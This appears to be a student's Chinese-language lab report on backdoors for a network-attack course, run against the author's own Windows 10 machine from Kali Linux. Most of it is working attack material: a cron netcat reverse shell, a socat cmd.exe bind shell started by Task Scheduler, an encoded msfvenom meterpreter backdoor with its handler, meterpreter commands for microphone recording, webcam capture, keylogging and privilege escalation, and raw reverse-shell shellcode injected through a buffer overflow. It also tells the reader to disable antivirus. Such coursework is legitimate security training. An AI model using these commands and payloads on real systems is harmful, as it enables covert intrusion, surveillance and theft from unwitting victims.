2019-2020-2 20174317祝源《网络对抗技术》Exp2 后门原理与实践
1. 实验原理
1.1. 后门概念
后门就是不经过正常认证流程而访问系统的通道。
相对狭义的后门概念:
- 特指潜伏于操作系统中专门做后门的一个程序,
- “坏人”可以连接这个程序
- 远程执行各种指令。
- 概念和木马有重叠
1.2. 哪里有后门
- 编译器留后门
- 操作系统留后门
- 最常见的当然还是应用程序中留后门
- 潜伏于操作系统中或伪装为特定应用的专用后门程序
1.3. 常用工具
1.3.1. netcat
又名nc
或ncat
,是一个底层工具,进行基本的TCP和UDP数据收发。常被与其他工具结合使用,起到后门的作用。
- Linux中一般自带netcat,可以使用
man netcat
或man nc
查看使用说明。 - Windows需要自行下载。
- Mac系统自带nc,使用
man nc
查看使用说明
1.3.2. socat
可以看作necat的加强版,有一些netcat所不具备却又很有需求的功能,例如ssl连接。
1.3.3. msfvenom和metasploit
msfvenom是一款用来生成后门的软件。
Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。
如果说msfvenom生成的木马是前端,那么可以称MSF为后端。
2. 实验内容
靶机为 Windows 10,IP为192.168.0.106
攻击机是Kali Linux,IP为192.168.0.105
2.1. 使用netcat获取主机操作Shell,cron启动
-
在Kali中使用命令
crontab -e
添加定时任务,第一次启动时选择编辑器2。 -
在文件最后一行添加
12 * * * * /bin/netcat 192.168.0.106 4317 -e /bin/sh
,表示每小时的第12分钟,反向连接192.168.0.106
的4317
端口,并执行/bin/sh。-e
的效果是由你指定的程序代替了nc自己来接受另一端的输入,并把输入(命令)后反馈的结果显示到另一端。 -
12分后,在Windows10主机中执行
ncat -l 4317
,进行验证,发现连接成功。
2.2. 使用socat获取主机操作Shell, 任务计划启动
-
在Windows主机中左下角的Windows徽标上右键单击,选择计算机管理,再选择任务计划程序,点击创建任务。
-
名称
任意,我设置的是wewwew,在触发器
选项卡中点击新建
,我这里设置开始任务
为:工作站锁定时
,并勾选已启用
。 -
在
操作
选项卡中点击新建
,设置操作为启动程序
,并选择已经解压的socta程序,在添加参数
中输入tcp-listen:<端口号> exec:cmd.exe,pty,stderr
,这个命令把cmd.exe
绑定到设置的端口号,同时把cmd.exe的stderr重定向到stdout上。设置完后点击确定
保存新任务。 -
先按
Win+L
锁定工作站,然后解锁,再次进入任务计划程序,选择查看所有正在运行的任务
,可以看到刚才添加的任务已经启动了。第一次启动socat时会要求通过防火墙,选择允许即可。 -
在Kali中,输入
socat - tcp:192.168.0.106:4317
,可以获取到cmd shell
。
2.3. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
-
在Kali中输入
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00x0axff' LHOST=192.168.0.105 LPORT=4317 -f exe > zy20174317_backdoor.exe
生成带有后门的可执行文件,其中-p
表示使用的payload。这里windows/meterpreter/reverse_tcp就是一段shellcode,表示windows反向连接kali。-e
指定编码器,-b
表示shellcode中避免出现的字符.由于这里使用的是反向连接,所以LHOST
需要时设置为Kali的IP。 -
使用nc传输文件:先在Windows中执行
ncat -l 4317 > zy20174317_backdoor.exe
,然后在Kali中执行nc 192.168.0.106 4317 < zy20174317_backdoor.exe
,将文件从Kali中传到Windows中。在传输前记得关闭杀毒软件和防火墙,例如Win10自带的Windows Defender。
传输完成后连接不会自动关闭,可以通过查看文件大小来判断传输是否完成,然后手动关闭连接。 -
可以看到成功接收了文件:
-
在Kali中执行
msfconsole
指令进入msf控制台。- 输入
use exploit/multi/handler
使用侦听模块,设置payload。 set payload windows/meterpreter/reverse_tcp
,使用和生成后门程序时相同的payload。set LHOST 192.168.0.105
,这里用的是Kali的IP,和生成后门程序时指定的IP相同。set LPORT 4317
,使用相同的端口。- 可以使用
show options
来查看设置。
- 输入
-
设置完成后,输入
exploit
执行监听。在Windows中运行后门程序,Kail上可以获得Windows的Shell。
2.4. 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
-
使用
record_mic
指令可以截获一段音频。参数列表
-h:显示帮助。
-d :记录的秒数,默认为1秒
-f :wav文件路径。默认为HOME / [随机乱码名字] .wav
-p :自动播放捕获的音频,默认为“true”。 -
使用
webcam_snap
指令可以使用摄像头进行拍照。参数列表
-h:显示帮助。
-i :要使用的网络摄像头的索引号。
-p :JPEG图像文件路径。默认为HOME / [随机乱码名字] .jpeg
-q :JPEG图像质量,默认为“50”。
-v :自动查看JPEG图像,默认为“true”。 -
使用
screenshot
指令可以截屏。 -
使用
keysacn_start
指令开始记录击键,使用keyscan_dump
指令读取击键记录。 -
使用
getuid
指令查看当前用户,使用getsystem
指令进行提权操作。 -
最开始提权是失败了的,后来参考这篇博客,提权成功。
2.5. 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell,加分内容一并写入本实验报告。
-
输入
msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4317 -f c
得到shellcode: -
参考实验一,关闭地址随机化,设置堆栈可执行。然后找到shellcode的起始地址,仍然为
0xffffd350
:
perl -e 'print "A" x 32; print "\x50\xd3\xff\xff\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f\x00\x00\x01\x68\x02\x00\x10\xdd\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"' > 20174317_shellcode
* 在新的终端中打开msf控制台,参考前面的步骤,依次输入:
```bash
use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp //生成shellcode时使用的playload
set LHOST 127.0.0.1
set LPORT 4317
exploit //设置完成,开始侦听
-
在前一个终端中执行
(cat 20174317_shellcode;cat) | ./20174317-pwn1
注入shellcode -
可以发现在msf控制台中已经获得了shell
3. 基础问题回答
3.1. 例举你能想到的一个后门进入到你系统中的可能方式?
在不是官网的第三方网站上下载盗版软件啊,别人传给我的电影、PDF文档、图片都可能隐藏有后门程序。还有就是那些装机网站上的系统镜像,说不定也隐藏有后门。
3.2. 例举你知道的后门如何启动起来(win及linux)的方式?
linux:比如说实验中用到的cron,还有就是把自己注册为系统服务。
win:实验中用到的任务计划程序,也可以修改注册表,也有可能和某个的程序绑定,启动那个程序就会让后门也启动。
3.3. Meterpreter有哪些给你映像深刻的功能?
每个功能都让我印象深刻,特别是录音和用摄像头拍照这两个,感觉要是自己电脑中了后门的话就毫无隐私了。
3.4. 如何发现自己有系统有没有被安装后门?
可以查看系统中安装的服务,看看有没有比较奇怪的服务。还有就是可以查看电脑上的端口开放情况,还有就是使用杀软来扫描。现在杀毒软件会监控应用程序的活动,如果发现经常莫名奇妙弹出警告的话也可能是被安装后门了。
4. 实验感悟
这次实验学习了后门相关的知识,还用了necat、socat、msf这些工具来生成后门程序并获取shell,其中msf让我印象深刻。在这次实验前,经常看到关于漏洞的新闻,但没有想到电脑会这么容易被攻击。经过这次实验,我的安全意识提高了很多。
5. 遇到的问题及解决方案
5.1. 无法运行后门程序
问题:
在Windows中运行可执行后门程序时出错:
检查后发现是权限不足,查看文件属性,在安全
选项卡中,选择编辑,将Everyone
的权限设置为完全控制
,然后点击高级
,将权限条目
中的第一行删除: